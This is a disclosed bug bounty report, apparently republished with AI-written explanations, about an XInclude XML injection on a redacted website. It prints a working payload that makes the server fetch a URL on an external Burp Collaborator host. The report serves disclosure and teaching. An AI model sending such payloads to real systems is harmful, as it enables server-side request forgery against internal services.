XML Injection on https://www.█████████ (███ parameter)
An XML parameter was processed with XInclude enabled, so an attacker could make the server fetch an external URL, potentially reaching internal services.
Originally disclosed on HackerOne
- Triaged in 45 hours
- Fixed in 5 months
- Disclosed after 6 months
Greetings,
I found an XML injection on https://www.███. This kind of vulnerability can be difficult to detect and exploit remotely; you should review the application's response here is the complete link: https://www.███/███████ Payload :
███████=<vuc xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://9bligh4snzlirzuxt4lbu3zullrbf0.burpcollaborator.net/foo"/></vuc>
Result :
███
best regards, frenchvlad
Impact
gaining the access to the unauthorized parts and stealing the sensitive data would be the most important thing to know when it comes to XML’s impact.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the application parses user-supplied XML with XInclude processing enabled and does not restrict external entity or include resolution.
Impact
An attacker could gain access to unauthorised parts of the system and steal sensitive data, though the report only demonstrates an outbound request rather than actual data theft.
What the attacker needed
Access to the vulnerable endpoint; attacker-controlled server to receive requests
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Some web applications accept data in XML format, which is a way of structuring text with tags. If the application processes that XML too loosely, an attacker can add special tags that tell the server to include another file or fetch a web address. Here the server was tricked into making a request to an address the attacker controlled, which shows the attacker can influence what the server fetches.
What is XXE?
An XML parser resolves entities the attacker defines, reading local files or making the server send requests.